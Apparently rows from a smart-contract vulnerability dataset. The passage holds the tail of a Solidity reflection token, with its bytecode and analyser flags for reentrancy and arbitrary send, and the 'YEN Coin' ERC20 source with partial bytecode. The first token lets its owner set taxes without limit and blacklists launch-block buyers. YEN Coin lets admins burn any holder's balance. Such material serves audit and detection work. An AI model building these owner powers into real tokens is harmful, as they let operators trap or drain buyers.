uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610599578063c5528490146105b9578063dd62ed3e146105d9578063ea1644d51461061f578063f2fde38b1461063f57600080fd5b80638da5cb5b146105215780638f9a55c01461053f57806395d89b41146105555780639e78fb4f1461058457600080fd5b8063790ca413116100dc578063790ca413146104c05780637c519ffb146104d65780637d1db4a5146104eb578063881dce601461050157600080fd5b80636fc3eaec1461045657806370a082311461046b578063715018a61461048b57806374010ece146104a057600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d65780634bf2c7c9146103f65780635d098b38146104165780636d8aa8f81461043657600080fd5b80632fd689e314610364578063313ce5671461037a57806333251a0b1461039657806338eea22d146103b657600080fd5b806318160ddd116101c157806318160ddd146102e757806323b872dd1461030c57806327c8f8351461032c57806328bb665a1461034257600080fd5b806306fdde03146101fe578063095ea7b3146102465780630f3a325f146102765780631694505e146102af57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600d81526c416e204170657320447265616d60981b60208201525b60405161023d9190611cf9565b60405180910390f35b34801561025257600080fd5b50610266610261366004611d73565b61065f565b604051901515815260200161023d565b34801561028257600080fd5b50610266610291366004611d9f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102bb57600080fd5b506016546102cf906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102f357600080fd5b50678ac7230489e800005b60405190815260200161023d565b34801561031857600080fd5b50610266610327366004611dbc565b610676565b34801561033857600080fd5b506102cf61dead81565b34801561034e57600080fd5b5061036261035d366004611e13565b6106df565b005b34801561037057600080fd5b506102fe601a5481565b34801561038657600080fd5b506040516009815260200161023d565b3480156103a257600080fd5b506103626103b1366004611d9f565b61077e565b3480156103c257600080fd5b506103626103d1366004611ed8565b6107ed565b3480156103e257600080fd5b506017546102cf906001600160a01b031681565b34801561040257600080fd5b50610362610411366004611efa565b610822565b34801561042257600080fd5b50610362610431366004611d9f565b610851565b34801561044257600080fd5b50610362610451366004611f13565b6108ab565b34801561046257600080fd5b506103626108f3565b34801561047757600080fd5b506102fe610486366004611d9f565b61091d565b34801561049757600080fd5b5061036261093f565b3480156104ac57600080fd5b506103626104bb366004611efa565b6109b3565b3480156104cc57600080fd5b506102fe600a5481565b3480156104e257600080fd5b506103626109e2565b3480156104f757600080fd5b506102fe60185481565b34801561050d57600080fd5b5061036261051c366004611efa565b610a3c565b34801561052d57600080fd5b506000546001600160a01b03166102cf565b34801561054b57600080fd5b506102fe60195481565b34801561056157600080fd5b5060408051808201909152600681526523a4a12122a960d11b6020820152610230565b34801561059057600080fd5b50610362610ab8565b3480156105a557600080fd5b506102666105b4366004611d73565b610c70565b3480156105c557600080fd5b506103626105d4366004611ed8565b610c7d565b3480156105e557600080fd5b506102fe6105f4366004611f35565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062b57600080fd5b5061036261063a366004611efa565b610cb2565b34801561064b57600080fd5b5061036261065a366004611d9f565b610cf0565b600061066c338484610dda565b5060015b92915050565b6000610683848484610efe565b6106d584336106d08560405180606001604052806028815260200161210e602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906115aa565b610dda565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b815260040161070990611f6e565b60405180910390fd5b60005b815181101561077a5760016009600084848151811061073657610736611fa3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061077281611fcf565b915050610715565b5050565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161070990611f6e565b6001600160a01b03811660009081526009602052604090205460ff16156107ea576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108175760405162461bcd60e51b815260040161070990611f6e565b600b91909155600d55565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161070990611f6e565b601155565b6015546001600160a01b0316336001600160a01b03161461087157600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260040161070990611f6e565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461091357600080fd5b476107ea816115e4565b6001600160a01b0381166000908152600260205260408120546106709061161e565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161070990611f6e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109dd5760405162461bcd60e51b815260040161070990611f6e565b601855565b6000546001600160a01b03163314610a0c5760405162461bcd60e51b815260040161070990611f6e565b601754600160a01b900460ff1615610a2357600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a5c57600080fd5b610a653061091d565b8111158015610a745750600081115b610aaf5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610709565b6107ea816116a2565b6000546001600160a01b03163314610ae25760405162461bcd60e51b815260040161070990611f6e565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610b47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6b9190611fe8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdc9190611fe8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d9190611fe8565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b600061066c338484610efe565b6000546001600160a01b03163314610ca75760405162461bcd60e51b815260040161070990611f6e565b600c91909155600e55565b6000546001600160a01b03163314610cdc5760405162461bcd60e51b815260040161070990611f6e565b601954811015610ceb57600080fd5b601955565b6000546001600160a01b03163314610d1a5760405162461bcd60e51b815260040161070990611f6e565b6001600160a01b038116610d7f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610709565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e3c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610709565b6001600160a01b038216610e9d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610709565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610709565b6001600160a01b038216610fc45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610709565b600081116110265760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610709565b6001600160a01b03821660009081526009602052604090205460ff161561105f5760405162461bcd60e51b815260040161070990612005565b6001600160a01b03831660009081526009602052604090205460ff16156110985760405162461bcd60e51b815260040161070990612005565b3360009081526009602052604090205460ff16156110c85760405162461bcd60e51b815260040161070990612005565b6000546001600160a01b038481169116148015906110f457506000546001600160a01b03838116911614155b1561145457601754600160a01b900460ff166111525760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610709565b6017546001600160a01b03838116911614801561117d57506016546001600160a01b03848116911614155b1561122f576001600160a01b03821630148015906111a457506001600160a01b0383163014155b80156111be57506015546001600160a01b03838116911614155b80156111d857506015546001600160a01b03848116911614155b1561122f5760185481111561122f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b6017546001600160a01b0383811691161480159061125b57506015546001600160a01b03838116911614155b801561127057506001600160a01b0382163014155b801561128757506001600160a01b03821661dead14155b1561134e576018548111156112de5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b601954816112eb8461091d565b6112f5919061202c565b1061134e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610709565b60006113593061091d565b601a5490915081118080156113785750601754600160a81b900460ff16155b801561139257506017546001600160a01b03868116911614155b80156113a75750601754600160b01b900460ff165b80156113cc57506001600160a01b03851660009081526006602052604090205460ff16155b80156113f157506001600160a01b03841660009081526006602052604090205460ff16155b15611451576011546000901561142c57611421606461141b6011548661181c90919063ffffffff16565b9061189e565b905061142c816118e0565b61143e6114398285612044565b6116a2565b47801561144e5761144e476115e4565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061149657506001600160a01b03831660009081526006602052604090205460ff165b806114c857506017546001600160a01b038581169116148015906114c857506017546001600160a01b03848116911614155b156114d557506000611598565b6017546001600160a01b03858116911614801561150057506016546001600160a01b03848116911614155b1561155b576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a54900361155b576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561158657506016546001600160a01b03858116911614155b1561159857600d54600f55600e546010555b6115a4848484846118ed565b50505050565b600081848411156115ce5760405162461bcd60e51b81526004016107099190611cf9565b5060006115db8486612044565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561077a573d6000803e3d6000fd5b60006007548211156116855760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610709565b600061168f611921565b905061169b838261189e565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116ea576116ea611fa3565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611743573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117679190611fe8565b8160018151811061177a5761177a611fa3565b6001600160a01b0392831660209182029290920101526016546117a09130911684610dda565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906117d990859060009086903090429060040161205b565b600060405180830381600087803b1580156117f357600080fd5b505af1158015611807573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008260000361182e57506000610670565b600061183a83856120cc565b90508261184785836120eb565b1461169b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610709565b600061169b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611944565b6107ea3061dead83610efe565b806118fa576118fa611972565b6119058484846119b7565b806115a4576115a4601254600f55601354601055601454601155565b600080600061192e611aae565b909250905061193d828261189e565b9250505090565b600081836119655760405162461bcd60e51b81526004016107099190611cf9565b5060006115db84866120eb565b600f541580156119825750601054155b801561198e5750601154155b1561199557565b600f805460125560108054601355601180546014556000928390559082905555565b6000806000806000806119c987611aee565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119fb9087611b4b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a2a9086611b8d565b6001600160a01b038916600090815260026020526040902055611a4c81611bec565b611a568483611c36565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a9b91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611ac9828261189e565b821015611ae557505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611b0b8a600f54601054611c5a565b9250925092506000611b1b611921565b90506000806000611b2e8e878787611ca9565b919e509c509a509598509396509194505050505091939550919395565b600061169b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115aa565b600080611b9a838561202c565b90508381101561169b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610709565b6000611bf6611921565b90506000611c04838361181c565b30600090815260026020526040902054909150611c219082611b8d565b30600090815260026020526040902055505050565b600754611c439083611b4b565b600755600854611c539082611b8d565b6008555050565b6000808080611c6e606461141b898961181c565b90506000611c81606461141b8a8961181c565b90506000611c9982611c938b86611b4b565b90611b4b565b9992985090965090945050505050565b6000808080611cb8888661181c565b90506000611cc6888761181c565b90506000611cd4888861181c565b90506000611ce682611c938686611b4b565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611d2657858101830151858201604001528201611d0a565b81811115611d38576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107ea57600080fd5b8035611d6e81611d4e565b919050565b60008060408385031215611d8657600080fd5b8235611d9181611d4e565b946020939093013593505050565b600060208284031215611db157600080fd5b813561169b81611d4e565b600080600060608486031215611dd157600080fd5b8335611ddc81611d4e565b92506020840135611dec81611d4e565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611e2657600080fd5b823567ffffffffffffffff80821115611e3e57600080fd5b818501915085601f830112611e5257600080fd5b813581811115611e6457611e64611dfd565b8060051b604051601f19603f83011681018181108582111715611e8957611e89611dfd565b604052918252848201925083810185019188831115611ea757600080fd5b938501935b82851015611ecc57611ebd85611d63565b84529385019392850192611eac565b98975050505050505050565b60008060408385031215611eeb57600080fd5b50508035926020909101359150565b600060208284031215611f0c57600080fd5b5035919050565b600060208284031215611f2557600080fd5b8135801515811461169b57600080fd5b60008060408385031215611f4857600080fd5b8235611f5381611d4e565b91506020830135611f6381611d4e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611fe157611fe1611fb9565b5060010190565b600060208284031215611ffa57600080fd5b815161169b81611d4e565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b6000821982111561203f5761203f611fb9565b500190565b60008282101561205657612056611fb9565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120ab5784516001600160a01b031683529383019391830191600101612086565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156120e6576120e6611fb9565b500290565b60008261210857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c35f72b207c8e5295e5bed2e1d2eea23df3a49af54044dfc6c990007b695c81464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,366 |
0x0f0fd90cfbfa5c3c5e19a9b3755603d50ea7750f
|
/**
*Submitted for verification at Etherscan.io on 2021-04-24
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
contract YENc is Initializable {
string public constant name = "YEN Coin";
string public constant symbol = "YENC";
string public constant version = "1";
uint8 public constant decimals = 18;
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
event Transfer(address indexed from, address indexed to, uint256 tokens);
mapping(address => bool) public admins;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
uint256 private totalSupply_;
modifier onlyAdmins() {
require(admins[msg.sender] == true, "yenc/only-admin");
_;
}
function initialize(uint256 _initialSupply) public initializer {
totalSupply_ = _initialSupply;
balances[msg.sender] = totalSupply_;
admins[msg.sender] = true;
}
function isAdmin(address _address) public view returns (bool) {
return admins[_address];
}
function addAdmin(address _address) public onlyAdmins {
admins[_address] = true;
}
function removeAdmin(address _address) public onlyAdmins {
require(msg.sender != _address, "yenc/self-remove");
admins[_address] = false;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address tokenOwner) public view returns (uint256) {
return balances[tokenOwner];
}
function transfer(address receiver, uint256 numTokens) public returns (bool) {
require(numTokens <= balances[msg.sender], "yenc/excessive-transfer");
balances[msg.sender] = balances[msg.sender] - numTokens;
balances[receiver] = balances[receiver] + numTokens;
emit Transfer(msg.sender, receiver, numTokens);
return true;
}
function approve(address delegate, uint256 numTokens) public returns (bool) {
allowed[msg.sender][delegate] = numTokens;
emit Approval(msg.sender, delegate, numTokens);
return true;
}
function allowance(address owner, address delegate) public view returns (uint256) {
return allowed[owner][delegate];
}
function transferFrom(address owner, address buyer, uint256 numTokens) public returns (bool) {
require(numTokens <= balances[owner], "yenc/excessive-transferFrom");
require(numTokens <= allowed[owner][msg.sender], "yenc/above-allowance");
balances[owner] = balances[owner] - numTokens;
allowed[owner][msg.sender] = allowed[owner][msg.sender] - numTokens;
balances[buyer] = balances[buyer] + numTokens;
emit Transfer(owner, buyer, numTokens);
return true;
}
function mint(address account, uint256 value) public onlyAdmins returns (bool) {
require(account != address(0));
totalSupply_ = totalSupply_ + value;
balances[account] = balances[account] + value;
emit Transfer(address(0), account, value);
return true;
}
function burn(address account, uint256 value) public onlyAdmins returns (bool) {
require(account != address(0));
totalSupply_ = totalSupply_ - value;
balances[account] = balances[account] - value;
emit Transfer(account, address(0), value);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f15760003560e01c806306fdde03146100f6578063095ea7b3146101335780631785f53c1461015657806318160ddd1461016b57806323b872dd1461017d57806324d7806c1461019057806327e235e3146101bc578063313ce567146101dc57806340c10f19146101f6578063429b62e51461020957806354fd4d501461022c5780635c6581651461024c578063704802751461027757806370a082311461028a57806395d89b41146102b35780639dc29fac146102d6578063a9059cbb146102e9578063dd62ed3e146102fc578063fe4b84df14610335575b600080fd5b61011d604051806040016040528060088152602001672ca2a71021b7b4b760c11b81525081565b60405161012a9190610a9a565b60405180910390f35b610146610141366004610a59565b610348565b604051901515815260200161012a565b6101696101643660046109cb565b6103b4565b005b6004545b60405190815260200161012a565b61014661018b366004610a1e565b61045f565b61014661019e3660046109cb565b6001600160a01b031660009081526001602052604090205460ff1690565b61016f6101ca3660046109cb565b60026020526000908152604090205481565b6101e4601281565b60405160ff909116815260200161012a565b610146610204366004610a59565b61061e565b6101466102173660046109cb565b60016020526000908152604090205460ff1681565b61011d604051806040016040528060018152602001603160f81b81525081565b61016f61025a3660046109ec565b600360209081526000928352604080842090915290825290205481565b6101696102853660046109cb565b6106d9565b61016f6102983660046109cb565b6001600160a01b031660009081526002602052604090205490565b61011d6040518060400160405280600481526020016359454e4360e01b81525081565b6101466102e4366004610a59565b610735565b6101466102f7366004610a59565b6107ed565b61016f61030a3660046109ec565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610169610343366004610a82565b6108cd565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103a39086815260200190565b60405180910390a350600192915050565b3360009081526001602081905260409091205460ff161515146103f25760405162461bcd60e51b81526004016103e990610aed565b60405180910390fd5b336001600160a01b038216141561043e5760405162461bcd60e51b815260206004820152601060248201526f79656e632f73656c662d72656d6f766560801b60448201526064016103e9565b6001600160a01b03166000908152600160205260409020805460ff19169055565b6001600160a01b0383166000908152600260205260408120548211156104c55760405162461bcd60e51b815260206004820152601b60248201527a79656e632f6578636573736976652d7472616e7366657246726f6d60281b60448201526064016103e9565b6001600160a01b0384166000908152600360209081526040